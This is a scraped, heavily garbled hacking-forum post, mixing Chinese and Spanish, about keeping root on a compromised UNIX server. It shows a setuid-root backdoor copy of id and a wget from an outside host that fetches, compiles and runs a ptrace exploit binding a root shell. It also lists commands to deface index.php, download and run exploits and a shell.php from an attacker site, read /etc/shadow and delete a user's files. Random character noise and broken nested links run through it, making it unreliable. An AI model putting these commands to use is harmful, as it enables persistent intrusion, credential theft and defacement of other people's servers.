总结UNIX成为root以后保持权限的方法

韩冰

<><FONT color=#ff0000>by:cnbird</FONT></P>
& k6 u3 I- q; y$ t; S0 U<>1.</P>
<>[cnbird@localhost tmp]#id</P>
1 v. Y. [, S7 E9 R/ n<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
<>[cnbird@localhost tmp]#cp `which id ` .</P>
<>[cnbird@localhost tmp]#chown root ./id</P>
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
<>[cnbird@localhost tmp]#ls -l ./id</P>
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
2 x0 f- x5 ]6 J4 R- w9 c<>[cnbird@localhost tmp]#exit</P>
6 a3 P& R" s# f# M4 X<>[cnbird@localhost tmp]$id</P>
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
$ l* J( r& a& ^, k, ?! ~9 Q<>[cnbird@localhost tmp]$./id </P>
8 [, ]" c  [4 U! w2 j9 ?7 P<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
- R1 d5 n  m& J<>2.利用ptrace成为root的方法</P>
" K7 o  v$ g( o0 m<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
-&gt; Parent's PID is 2313. Child's PID is 2314.
-&gt; Attaching to 2315...
-&gt; Got the thread!!
8 f( g, G2 X* Q' {* X& x9 ?7 q-&gt; Waiting for the next signal...
-&gt; Injecting shellcode at 0x4000e85d
-&gt; Bind root shell on port 24876... =p
8 ]. c, `+ O6 W/ B, `4 e" [-&gt; Detached from modprobe thread.
-&gt; Committing suicide.....</P>
<>[bash]# id
3 h+ H: I9 f; Suid=0(root) gid=0(root) groups=0(root)</P>
: p  ~% D: E$ q: ~1 L& x<>ara ver los dominios que hay en el server:
* k) s+ ]% T0 x1 H; `- K& Y---------------------------------------------------------
6 |9 X* y5 ]5 I. r$ f( scat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
1 S$ ?* E0 b( m0 Qcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
3 o7 t% N& m  V* n7 }1 ]4 _cat /etc/userdomains &lt;&lt; Este es el mas comun
; ?1 W5 p1 B$ B  r* j# J# ~---------------------------------------------------------</P>
( h( o$ `! ]3 G3 t; u# o( f6 t. A<>ara ver la version de kernel:
---------------------------------------------------------
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
; Q1 m% H5 v+ b$ \2 N---------------------------------------------------------</P>
<>ara modificar un index ya existente:
! ]! o+ i- m3 `1 C3 e---------------------------------------------------------
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
---------------------------------------------------------</P>
# B0 M4 J% j7 }" j2 _; j( g<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
; d$ `" B2 ?# w; R: [& E% v---------------------------------------------------------
7 |* O. M  `$ K/ w; ^cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
6 Y0 O1 n  J& Scd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
6 |2 ?. _1 {8 T* |0 AHasta aqui termina el proceso para un exploit.
  P2 i; @$ U6 y& g5 D( j6 P---------------------------------------------------------</P>
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
" k+ d% Y' Z0 x# H---------------------------------------------------------
* K" w9 ^* M: Xcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
& A/ I; Z, g3 }2 M+ [6 s+ z: w: B---------------------------------------------------------</P>
<>Borrar un Ficher
* z# [  o9 M: s) F! G---------------------------------------------------------
2 Q/ w7 W+ ?9 s- Qcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
% \! C* b; ]4 T4 \* m$ B. N) b9 u( B---------------------------------------------------------</P>
$ w; _" t5 s+ |/ X8 b<>Subir un ficher
: Z+ p, i$ o9 h  H+ K+ S+ i4 f---------------------------------------------------------
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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